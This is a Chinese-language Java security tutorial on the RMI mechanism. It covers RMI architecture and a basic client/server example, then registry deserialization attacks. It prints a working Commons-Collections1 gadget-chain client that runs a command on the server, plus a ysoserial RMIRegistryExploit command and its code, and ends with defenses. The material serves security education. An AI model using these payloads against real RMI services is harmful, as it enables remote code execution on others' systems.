JAVA安全基础(四)-- RMI机制
字数 1533 2025-08-06 08:35:37
Java RMI 机制详解与安全分析
0x00 前言
Java RMI(Remote Method Invocation)是Java编程语言中实现远程过程调用的重要机制。本文将全面解析RMI的工作原理、实现方式以及安全风险,特别是反序列化漏洞的利用方式。
0x01 RMI机制概念
Java RMI全称为Java Remote Method Invocation(Java远程方法调用),是Java编程语言中实现远程过程调用的应用程序编程接口。它存储在java.rmi包中,允许某个Java虚拟机上的对象调用另一个Java虚拟机中的对象上的方法。这两个虚拟机可以运行在相同计算机的不同进程,也可以是网络上的不同计算机。
0x02 RMI基本名词
RMI采用三层架构模式实现:
客户端组件
- 存根/桩(Stub): 远程对象在客户端的代理
- 远程引用层(Remote Reference Layer): 解析并执行远程引用协议
- 传输层(Transport): 发送调用、传递远程方法参数、接收远程方法执行结果
服务端组件
- 骨架(Skeleton): 读取客户端传递的方法参数,调用服务器方的实际对象方法,并接收方法执行后的返回值
- 远程引用层(Remote Reference Layer): 处理远程引用后向骨架发送远程方法调用
- 传输层(Transport): 监听客户端的入站连接,接收并转发调用到远程引用层
注册中心
- 注册表(Registry): 以URL形式注册远程对象,并向客户端回复对远程对象的引用
0x03 RMI实现流程
- 定义远程接口(继承java.rmi.Remote)
- 实现远程接口(继承UnicastRemoteObject)
- 服务端创建Registry并绑定远程对象
- 客户端通过Registry查找远程对象并调用方法
0x04 代码实现详解
1. 定义远程接口
package RMIProject;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface HelloInterface extends Remote {
String Hello(String age) throws RemoteException;
}
要点:
- 必须继承java.rmi.Remote接口
- 每个方法必须声明抛出RemoteException
- 参数和返回值必须是可序列化类型
2. 实现远程接口
package RMIProject;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class HelloImp extends UnicastRemoteObject implements HelloInterface {
private static final long serialVersionUID = 1L;
protected HelloImp() throws RemoteException {
super(); // 调用父类的构造函数
}
@Override
public String Hello(String age) throws RemoteException {
return "Hello" + age;
}
}
要点:
- 必须继承UnicastRemoteObject类(用于生成Stub和Skeleton)
- 需要定义serialVersionUID
- 构造函数应调用父类构造函数
3. 服务端实现
package RMIProject;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIServer {
public static void main(String[] args) {
try {
HelloInterface h = new HelloImp(); // 创建远程对象
LocateRegistry.createRegistry(1099); // 创建RMI注册表
Naming.rebind("rmi://localhost:1099/hello", h); // 绑定远程对象
System.out.println("RMIServer start successful");
} catch (Exception e) {
e.printStackTrace();
}
}
}
4. 客户端实现
package RMIProject;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
public class RMIClient {
public static void main(String[] args) {
try {
HelloInterface h = (HelloInterface) Naming.lookup("rmi://localhost:1099/hello");
System.out.println(h.Hello("run......"));
} catch (MalformedURLException e) {
System.out.println("url格式异常");
} catch (RemoteException e) {
System.out.println("创建对象异常");
} catch (NotBoundException e) {
System.out.println("对象未绑定");
}
}
}
0x05 RMI安全机制与漏洞利用
反序列化漏洞利用条件
- 接收Object类型参数的远程方法
- RMI服务端存在可利用的反序列化链(如commons-collections)
漏洞利用示例
修改HelloInterface接口:
public interface HelloInterface extends Remote {
String Hello(Object age) throws RemoteException;
void Test(Object obj) throws RemoteException;
}
恶意客户端实现:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.net.MalformedURLException;
import java.rmi.*;
import java.util.HashMap;
import java.util.Map;
public class RMIClient {
public static void main(String[] args) {
try {
HelloInterface h = (HelloInterface) Naming.lookup("rmi://localhost:1099/hello");
System.out.println(h.Hello("run......"));
h.Test(getpayload()); // 发送恶意对象
} catch (Exception e) {
e.printStackTrace();
}
}
public static Object getpayload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("key", "xiaoyang");
Map transformedMap = TransformedMap.decorate(innermap, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
return ctor.newInstance(Target.class, transformedMap);
}
}
0x06 RMI注册中心攻击
RMI注册中心在处理以下请求时会进行反序列化操作:
- bind()
- rebind()
- unbind()
- lookup()
这些方法在接收参数时会调用readObject()方法,可能导致反序列化漏洞。
攻击原理
RegistryImpl_Skel#dispatch方法处理这些请求时,会反序列化客户端发送的数据:
// bind方法处理
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject(); // 反序列化
var8 = (Remote)var11.readObject(); // 反序列化
} //...
var6.bind(var7, var8);
break;
// lookup方法处理
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject(); // 反序列化
} //...
var8 = var6.lookup(var7);
break;
利用工具示例
使用ysoserial攻击RMI注册中心:
java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 目标地址 端口号 CommonsCollections1 "calc"
ysoserial关键代码:
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){
public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
// 创建动态代理
Remote remote = Gadgets.createMemoitizedProxy(
Gadgets.createMap(name, payload), Remote.class);
try {
registry.bind(name, remote); // 发送恶意对象
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}
});
}
0x07 防御措施
- 升级JDK版本,使用最新安全补丁
- 限制RMI服务仅监听内网
- 使用安全管理器配置严格的权限
- 替换或移除存在漏洞的第三方库
- 对RMI通信进行加密和认证
0x08 总结
RMI机制是Java分布式计算的重要基础,但其基于序列化的通信机制带来了严重的安全风险。理解RMI的工作原理和安全机制,对于构建安全的分布式系统和防御相关攻击至关重要。在实际开发中,应当遵循最小权限原则,及时更新补丁,并对RMI通信进行适当的安全加固。